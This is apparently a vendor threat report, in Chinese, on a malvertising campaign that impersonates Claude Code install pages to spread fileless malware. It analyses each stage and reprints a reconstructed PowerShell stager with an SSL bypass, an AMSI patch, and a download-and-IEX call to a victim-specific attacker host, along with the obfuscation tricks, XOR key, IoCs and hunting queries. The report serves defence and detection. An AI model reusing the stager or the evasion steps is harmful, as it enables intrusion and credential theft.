重點摘要
- InstallFix 攻擊行動的社交工程技巧瞄準了正在尋找 Anthropic Claude AI 的使用者,透過 Google Ads 來推銷假的安裝網頁,進而散布惡意程式。
- 駭客會利用逼真且對應作業系統的安裝指示來誘騙使用者執行惡意的 PowerShell 指令,進而啟動一個多重階段的感染鏈,包括使用 mshta.exe、加密編碼腳本,以及無檔案惡意程式散布技巧。
- 這起行動的感染鏈還包含了進階躲避技巧,例如:躲避 Windows 惡意程式掃描介面 (AMSI)、停用 SSL 憑證驗證,以及受害者專屬的幕後操縱網址,讓偵測與矯正變得更加複雜。
- TrendAI Vision One™ 的監測資料證實了駭客會建立排程工作來常駐於系統,同時也觀察到連上駭客 CC 伺服器的網路流量。
- 這起行動瞄準了美洲、亞太地區、中東與非洲 (AMEA) 以及歐洲的企業機構,包括政府機關、電子、教育、食品飲料等產業。
在一個人工智慧 (AI) 工具對現代化工作流程變得不可或缺的時代,駭客正巧妙運用人們對 AI 的依賴來發動令人擔憂的精密攻擊。InstallFix 攻擊行動 (也是假 Claude 安裝程式威脅),象徵社交工程攻擊正朝著危險的方向演進,駭客利用人們對正派 AI 平台的信任來散布國家資助的間諜惡意程式。本文探討駭客如何冒充 Anthropic 的 Claude AI 助理,看上其每月 2.9 億的使用者數量,透過精心製作的假安裝頁面來散布惡意程式。隨著企業紛紛整合 AI 功能,了解這些詐騙手法已不再是一種選項,而是今日威脅情勢下的生存關鍵。
由於今日的軟體安裝程序經常需要複製檔案並執行指令 (例如串連 curl 和 bash 兩個指令),因此駭客正利用這種情況來建立逼真的假安裝頁面,這些頁面會誘騙使用者執行惡意指令來讓系統感染惡意程式。
此威脅之所以特別嚴重,是因為有越來越多開發人員及非技術性使用者都在使用指令列工具,因而擴大了潛在受害族群。
攻擊目標分析
我們發現這起行動的攻擊目標主要分布在以下國家和產業:
地區
- 美洲
- 亞太地區、中東與非洲 (AMEA)
- 歐洲
國家
- 馬來西亞
- 荷蘭
- 泰國
- 美國
產業
- 電子
- 教育
- 食品飲料
- 政府機關
經由 Google Ads 散布
假安裝頁面只會經由 Google Ads 散布,更精確一點,是經由使用者在搜尋「Claude Code」和「Claude Code install」等詞彙時所出現的贊助搜尋結果。根據 MDR 客戶的反映,使用者在點選了搜尋結果頂端的一個贊助網址之後,就會前往一個假網站的首頁,由於 Google Ads 推薦的網站,因此使用者會以為這是個正常網站。
假網站使用了 PowerShell 和 MSHTA 在 Windows 和 MacOS 系統上執行和安裝冒牌的 Claude 應用程式 (不過假網站上的按鈕似乎沒有作用)。惡意廣告網址的設計仿照了 Google Ads 網址結構,其中,gar_source 和 gad_campaign 兩個參數與 Google Ads 常用的廣告追蹤欄位相似。
來自 TrendAI Vision One™ 的證據
根據我們從 TrendAI Vision One™ 取得的監測資料顯示,某個端點上的 PowerShell 呼叫了 mshta.exe 來從一個已知的惡意網域 (download-version[.]1-5-8[.]com) 下載並執行了一個惡意檔案 (claude[.]msixbundle)。
解碼後的 PowerShell 程式碼會執行以下命令:
- 幫受害電腦產生獨一無二的識別碼 (ID) - 用來檢查這台電腦是否已被感染。
- 停用 SSL 憑證驗證 - 信任任何 HTTPS 憑證。
- 解密/解碼隱藏的字串 - 需要其他字串。
- 試圖篡改內部 .NET 行為 - 很可能用來避開安全機制。
- 從遠端伺服器下載惡意檔案 - 更多惡意檔案。
- 在記憶體內執行 - 用來躲避資安防禦。
TrendAI Vision One™ 偵測到什麼
我們觀察到的資安事故觸發了一個 TrendAI Vision One™ 偵測過濾規則:MSHTA Spawning Windows Shell。這是一個關鍵的階段,代表 mshta.exe 啟動了一個 Windows 指令列處理程序。
此規則偵測到什麼
此規則的觸發時機是 TELEMETRY_PROCESS_CREATE 事件,這涵蓋了 mshta.exe 與指令列處理程序之間的雙向關係:
- Mshta 作為父處理程序:mshta.exe 可能執行下列任何一個程式:cmd.exe、powershell.exe、wscript.exe、cscript.exe、sh.exe、 bash.exe、reg.exe、regsvr32.exe 或 bitsadmin。
- Mshta 作為子處理程序:由 cmd.exe、powershell.exe、wscript.exe、cscript.exe、sh.exe、 bash.exe、reg.exe、regsvr32.exe 或 bitsadmin 啟動 mshta.exe。
與這起攻擊行動的關聯性
在 InstallFix 事件中,此規則觸發時機是在 VBScript COM 啟動器階段,也就是 mshta.exe (processFilePath) 啟動 cmd.exe (objectFilePath) 時。TrendAI Apex One™ 的 Malware Behavior Blocking (惡意程式行為攔截) 功能在偵測到該情況時採取了「終止」(Terminate) 動作來終止 PowerShell 的子程序 (政策:FLS.ISB.4886T)。
感染鏈
第 1 階段:突破防線,使用 Google Ads 惡意廣告 (T1566.002 / T1583.008)
- 技巧:透過 Google Ads 贊助搜尋結果從事網路釣魚 (T1566.002);惡意廣告 (T1583.008)
- 派送:經由 Google 付費搜尋投放假的「Claude Code」安裝頁面
- 誘餌:逼真的安裝頁面,提供對應 Windows 和 macOS 作業系統的安裝指令。
駭客購買 Google Ads 投放廣告來吸引正在搜尋 Claude Code 的使用者。贊助的搜尋結果會將使用者導向一個假網站的首頁,該網頁做得就像正常的安裝指引。網頁使用了 ClickFix 社交工程技巧,會針對不同的作業系統顯示對應的指令,要求使用者執行該指令作為必要的安裝步驟。如果在 Windows 上執行指令,就會使用瀏覽器或指令列介面呼叫 mshta.exe 來開啟遠端惡意檔案網址。
第 2 階段:MSHTA 下載並執行 ZIP/HTA 複合檔案 (polyglot) (T1218.005)
- 技巧:系統二進位檔案代理執行:Mshta (T1218.005)
- 檔案:claude.msixbundle
- 主機:download-version.1-5-8[.]com
- 檔案結構:有效的 ZIP 壓縮檔,HTA 惡意檔案附加在位元組偏移 882290 的位置 (ZIP/HTA 複合檔案)
ClickFix 指令會呼叫 mshta.exe 並傳入一個遠端網址,指向 claude.msixbundle。儘管檔案的副檔名是一個壓縮檔,但它是一個 ZIP/HTA 複合檔案,壓縮檔內含有真正的 Microsoft Bing 套件,並具備有效的 Microsoft Marketplace 簽章,因此看起來像是正常檔案。前面的 882290 個位元組會讓 VirusTotal 將其辨識為一個壓縮檔 (含有「PK」神奇位元組),但 mshta.exe 則會讀取檔案末端附加的 HTA 內容。這樣的雙重格式結構可讓檔案偽裝成良性套件,但 mshta.exe 卻可直接執行附加的惡意 HTA。
監測資料中觀察到的處理程序鏈:
explorer.exe
powershell.exe (user ran ClickFix command from fake install page)
mshta.exe https[://]download-version[.]1-5-8[.]com/claude[.]msixbundle
第 3 階段:暗中執行 HTA VBScript - COM 指令列介面啟動器 (T1559.001 / T1059.005)
- 技巧:經由 Shell.Application 濫用 Component Object Model (T1559.001)
- 技巧:執行 HTA 內嵌的 VBScript (T1059.005)
- 躲避偵測:將視窗大小調整至 0x0 像素,讓使用者看不到 UI
- COM 物件:Shell.Application | GUID: 9BA05972-F51F-4DE8-95A4-F561CC55EBC4
附加的 HTA 會在 mshta.exe 內部暗中執行 VBScript 腳本,此腳本使用兩個具名的解碼函式來將惡意檔案解碼,接著啟動下一階段:
- DisplayEmailGnu() - 使用十六進位解碼方式解開內嵌在 HTA 中的編碼字串。
- GetBiosDebian() - 使用 base64 解碼解開 cmd.exe 指令。
- Shell.Application COM 物件 (GUID:9BA05972-F51F-4DE8-95A4-F561CC55EBC4) - 透過 ShellExecute 執行解碼後的指令。
解碼後由 HTA 啟動的指令:
cmd.exe /v:on /c "set x=pow&&set y=ershell&&call %windir%\SysWOW64\WindowsPowerShell\v1.0\!x!!y! -E "
DispHTMLWindow2.resizeTo(0,0) 這個呼叫可確保 MSHTA 視窗在執行期間不會被使用者看到。AMSI 監測資料確認了 VBScript 是在 mshta.exe 處理程序當中執行,並擷取了解碼後的 COM 呼叫序列。
第 4 階段:cmd.exe 重建並執行經過編碼的 PowerShell 階段性載入器 (T1027 / T1059.001)
- 技巧:加密編碼檔案或資訊變數分割 + 編碼指令 (T1027)
- 技巧:指令與腳本解譯器:透過 SysWOW64 執行 PowerShell (T1059.001)
- 技巧:停用或修改工具 - 透過 WriteInt32 修改 AMSI (T1562)
cmd.exe 執行時指定了延遲變數展開參數 (/v:on),並使用變數分割技巧 (set x=pow 與 set y=ershell) 來重建執行時期的「powershell」字串,用來避開靜態的指令列偵測技巧。接著,它會利用 -E 旗標來呼叫 32 位元的 SysWOW64 PowerShell 二進位檔案,並提供 UTF-16LE base64 編碼的惡意檔案。
解碼後的 PowerShell 階段性載入器 (stager) 會依序執行以下動作:
- 建立受害者指紋:計算出 MD5 (COMPUTERNAME + USERNAME),將前 16 個小寫的十六進位字元當成獨一無二的受害者權杖 ($nipple)。
- 避開 SSL:設定 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}。
- 躲避 AMSI:使用 RC4 演算法搭配「BWJFEesMEqRvjQbm」作為金鑰,將 AMSI 躲避字串解密 (經由客製化 GlobalJson 和 TenantId 密碼函式),然後透過 [Runtime.InteropServices.Marshal]::WriteInt32 將 0x41414141 寫入到 amsiContext,讓 AMSI 在剩下來的連線階段當中失去作用。
- 無檔案式惡意檔案擷取:從受害者專屬的 CC 網址下載第 4 階段檔案,然後經由 Invoke-Expression (IEX) 在記憶體內執行。
# Decoded PowerShell stager logic (reconstructed from base64 telemetry)
# Step 1 Victim fingerprint
$nipple = (Get-FileHash -InputStream([IO.MemoryStream]::new(
[Text.Encoding]::UTF8.GetBytes($env:COMPUTERNAME + $env:USERNAME)
)) -Algorithm MD5).Hash.Substring(0,16).ToLower()
# Step 2 SSL bypass
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
# Step 3 AMSI patch (RC4 key: BWJFEesMEqRvjQbm)
# RC4 decrypts AMSI bypass strings -> writes 0x41414141 to amsiContext
[Runtime.InteropServices.Marshal]::WriteInt32(<amsiContext>, 0x41414141)
# Step 4 Fileless stage-4 fetch and execute
$Filter = (New-Object Net.WebClient).DownloadString(
"https://$nipple.oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1"
)
IEX $Filter
受害者各自擁有專屬的子網域 (16 個字元的十六進位字串,取自電腦識別碼) 意味著每一台主機都會連上不同的網址,這使得大規模的網路層攔截變得困難,還能讓駭客針對每個受害者客製化惡意檔案。
第 5 階段:以無檔案方式執行最終惡意檔案 (尚未找到)
- 來源: https://[nipple].oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1
- SHA1: 811fbf0ff6b6acabe4b545e493ec0dd0178a0302 (在路徑上找到的檔案,執行內容未經確認)
- SHA256:2f04ba77bb841111036b979fc0dab7fcbae99749718ae1dd6fd348d4495b5f74
- 狀態:尚未完全找到 - TrendAI Apex One™ 在 IEX 完成之前的第 3 階段便終止了處理程序。
惡意程式分析
Claude.msixbundle.zip 是下載自 hxxps[://]download-version[.]1-5-8[.]com/claude[.]msixbundle 的檔案。檔案經過分析之後確認它的簽章有效,檔案標頭開始的識別碼是「PK」,表示這是一個 ZIP 格式壓縮檔,如同一般用來散播軟體或惡意檔案的壓縮套件一樣。
根據威脅情資顯示,此惡意程式會使用各種不同的檔案格式 (如 mp3) 來躲避資安防護。
在檢查壓縮檔時,我們發現該檔案裡面只有一個應用程式套件,這個套件似乎是一個正常的檔案。
檔案解開之後的內容似乎就是一些正常的檔案元件,此階段解開後的檔案似乎沒有明顯惡意或不尋常之處,而且看起來就像一個標準的應用程式。
內嵌的 HTML 程式碼是在 ZIP 檔案中找到,這表示該檔案可能是多重階段執行鏈的一環,HTML 被用來當成一種容器或派送機制,以便下載其他惡意檔案或腳本。
這個 ZIP 檔案 (Claude.msixbundle.zip) 被發現含有一個經過加密編碼的內嵌式 VBScript 惡意腳本,它是經由 HTML 檔案散布。此腳本顯然經過刻意的加密編碼,代表它意圖不良,而且很可能是為了躲避偵測或分析。
使用 CyberChef 來解碼並重新建構「DisplayEmailGNU」變數內下的十六進位值,顯示它是一個執行 PowerShell 的指令。Vision One 也觀察並偵測到這個活動,確認了該惡意檔案的執行行為。
解碼後的 PowerShell 指令會呼叫另一個檔案來從事進一步加密編碼和執行的動作:
(https://$nipple[.]oakenfjrod[.]ru/cloude-91267b64-989f-49b4-89b4-984e0154d4d1)
- <nipple> - 以 MD5 計算出來的電腦識別碼 (ID)
- oakenfjrod[.]ru - 駭客掌控的網域
- /cloude-... - 遠端惡意檔案路徑
在執行的第 4 階段 (cloude-91267b64-989f-49b4-89b4-984e0154d4d1),我們又觀察到一層額外的加密編碼。這表示惡意檔案會利用多重階段的編碼或隱藏技巧來阻礙分析並躲避偵測。
為了解開這些位元組,我們需要 XOR 函式所要用到的金鑰,該金鑰將儲存在 $ISLuq0izl8 當中。
為了產生金鑰,它會將所有字元串接在一起,然後將結果儲存在 $ISLuq0izl8 中。
在解碼過程中,首先會解開第一個字元來取得進一步解密所需的金鑰。此步驟示範了如何從加密編碼形態重建完整惡意檔案的底層邏輯。
取得 XOR 金鑰的邏輯
- 合併數字並移除變數:
24 + 48 = 72
39 − 39 = 0
49 + 38 = 87
- 下一步:
72 − C − K − 87 + C + K + 80
- 消除:
−C + C = 0
−K + K = 0
- 剩餘:
72 − 87 + 80 = 65 → "A"
十進位的 65 等於字母 A
根據此邏輯,第一個位於 $euZ1AMZyMcJWItteQdCD 的字元是「A」。
當所有變數解碼、解析、串接,然後儲存至 $ISLuq0izl8 之後,就可以看到加密編碼過程所用的 XOR 金鑰是 AMSI_RESULT_NOT_DETECTED (UTF8)。這意味著腳本會在其解碼或躲避技巧中使用一個已知的 AMSI 相關字串。
現在有了 XOR 金鑰之後,我們就能將經過編碼的位元組還原,然後繼續分析惡意檔案。
根據解密程序,資料首先會從十進位和 Base64 格式進行轉換,接著再使用「AMSI_RESULT_NOT_DETECTED」這個金鑰進行 XOR 解密。經過這個程序之後所產生的輸出就會變成準備在記憶體內執行的 shellcode。
常駐
除了其他入侵指標之外,我們還觀察到駭客會在主機系統上建立一些排程工作。此行為意味著惡意程式正試圖常駐在系統內,即使系統重新開機或使用者登出,它也能維持連線並自動重新執行。
動態分析
當 shellcode 在記憶體內執行之後,系統就開始出現記憶體內惡意檔案活動所產生的變化。我們在執行時期分析當中發現了下列證據和行為。觀察到的事件:
對外連線的位址是:104[.]21[.]0[.]95 和 185[.]177[.]239[.]255。我們在受感染的主機上觀察到 TCP 發送與 TCP 接收活動,表示惡意程式正在積極建立網路連線來與外部系統交換資料。這些活動代表它可能正在與 CC 伺服器通訊、將資料外傳,或是與其他惡意基礎架構進行協調。
我們在惡意檔案反覆執行的過程中觀察到許多對外連線,在本次分析過程中,惡意檔案執行了三次,每次執行都會產生不同的對外網路連線。
所有擷取到的封包都含有發送到 77[.]91[.]97[.]244 的 TCP SYN 請求 (連接埠 443,也就是 HTTPS)。重複發送多次 TCP 請求,表示未收到來自目標伺服器的 SYN-ACK 回應,這意味著連線嘗試失敗,或者目標 IP 位址似乎無法連上,可能它已經離線或無回應。
從發現到的入侵指標 (IoC) 看來它與 RedLine 資訊竊取程式可能有所關聯,同時它也出現與 2023 年的攻擊行動類似的技巧。
結論
InstallFix 攻擊行動示範了駭客集團如何趁著 AI 工具的熱潮來發動針對性、高衝擊的惡意程式攻擊。駭客會將惡意安裝程式偽裝成 Claude AI 下載,並透過 Google Ads 來散布,藉此避免使用者起疑,並躲避電腦上的資安控管。惡意程式會運用一些技巧來避開 AMSI、停用 SSL 憑證驗證,並且建立排程工作來常駐在系統內,藉此躲避偵測並持續存取受感染的系統。企業必須隨時保持警戒以防範這類威脅,並且讓使用者了解安裝程式的風險、監控可疑的處理程序和網路活動,同時優先採用多層式防禦。
建議
為了降低像 InstallFix 這類攻擊所帶來的風險,企業應採取主動式資安措施,並重視使用者教育。以下是一些防範惡意程式感染、偵測可疑活動、強化防禦機制來對抗冒牌安裝程式的最佳實務原則:
網路防護
- 在您的防火牆或安全閘道攔截已知的惡意網域,以及與攻擊活動相關的 IP 位址。
- 利用 DNS 過濾或安全網站閘道來防止使用者連上可疑或新註冊的網域。
端點防護
- 除非絕對必要,否則請限制或禁止使用 mshta.exe 這類老舊的腳本工具,因為這類工具經常被駭客所濫用。
- 確保您的 TrendAI 端點防護解決方案能自動封鎖或終止可疑行為,而非只是發出警報。
使用者意識
- 教育使用者避免從不熟悉的網站複製和執行安裝指令,尤其是經由贊助的搜尋結果取得的安裝指令。
- 鼓勵使用者在安裝任何軟體之前,務必先確認軟體下載頁面是否為廠商的官方網站。
- 建議使用信任的套件管理員 (如 npm、pip、brew 或 winget) 而非第三方網站的手動安裝腳本。
偵測及回應
- 隨時掌握最新的威脅情資,並套用與持續中攻擊行動相關的偵測規則或入侵指標 (IoC)。
採用 TrendAI Vision One™ 的主動式防護
TrendAI Vision One™ 是一套將資安曝險管理、資安營運以及強大的多層式防護集中在一起的業界領先 AI 驅動企業網路資安平台。
TrendAI Vision One™ Threat Intelligence Hub
TrendAI Vision One™ Threat Intelligence Hub 威脅情資中心提供了有關新興威脅與駭客集團的最新洞見、TrendAI™ Research 的獨家戰略性報告,以及 TrendAI Vision One™ 平台的 TrendAI Vision One™ Threat Intelligence Feed 威脅情資來源。
新興威脅:InstallFix 與 Claude Code:假安裝頁面如何導致企業遭到入侵
TrendAI Vision One™ Intelligence Reports (IoC 掃描)
InstallFix 與 Claude Code:假安裝頁面如何導致企業遭到入侵
TrendAI Vision One™ 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
追蹤查詢
TrendAI Vision One™ Search 應用程式
TrendAI Vision One™ 客戶可以使用 Search 應用程式來尋找或追蹤本文提到的惡意指標,看看是否也出現在自己的環境中。
完整的攻擊鏈交叉關聯
// Vision One XDR Search — pivot from mshta to PS to C2 on one endpoint
// Step 1: find hosts where mshta ran with malicious URL args
eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:mshta.exe
AND (processCmd:*1-5-8[.]com* OR processCmd:*msixbundle*
OR processCmd:*get-version[.]com*)
// Step 2: pivot on endpointHostname from above — find PS child and C2 beacon
endpointHostName:<HOSTNAME_FROM_STEP1>
AND (
(eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:powershell.exe
AND (processCmd:*-enc* OR processCmd:*IEX*))
OR
(eventSubId:TELEMETRY_NETWORK
AND request:*oakenfjrod[.]ru*)
)
mshta.exe 啟動指令列介面 — Vision One XDR 搜尋
eventSubId:TELEMETRY_PROCESS_CREATE
AND parentProcessName:mshta.exe
AND (processName:cmd.exe OR processName:powershell.exe
OR processName:wscript.exe OR processName:cscript.exe)
指令列中含有經過編碼的 PowerShell / IEX
eventSubId:TELEMETRY_PROCESS_CREATE
AND processName:powershell.exe
AND (processCmd:*-enc* OR processCmd:*-EncodedCommand*
OR processCmd:*IEX* OR processCmd:*Invoke-Expression*
OR processCmd:*AMSI_RESULT_NOT_DETECTED*)
除此之外,TrendAI Vision One™ 客戶還可啟用 Threat Intelligence Hub 權利來取得更多追蹤查詢。
入侵指標 (IoC)
如需本文提到的入侵指標完整清單,請至此處。